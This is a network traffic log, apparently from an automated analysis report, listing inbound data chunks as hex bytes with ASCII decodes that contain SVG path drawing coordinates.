2023-05-31 12:52:02 UTC	3678	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-05-31 12:52:02 UTC	3694	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-05-31 12:52:02 UTC	3710	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-05-31 12:52:02 UTC	3726	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-05-31 12:52:02 UTC	3742	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-05-31 12:52:02 UTC	3758	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-05-31 12:52:02 UTC	3774	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-05-31 12:52:02 UTC	3790	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-05-31 12:52:02 UTC	3806	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-05-31 12:52:02 UTC	3822	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-05-31 12:52:02 UTC	3838	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-05-31 12:52:02 UTC	3854	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:52:02 UTC	3870	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-05-31 12:52:02 UTC	3886	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-05-31 12:52:02 UTC	3902	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-05-31 12:52:02 UTC	3918	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-05-31 12:52:02 UTC	3934	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 32 2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-05-31 12:52:02 UTC	3950	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 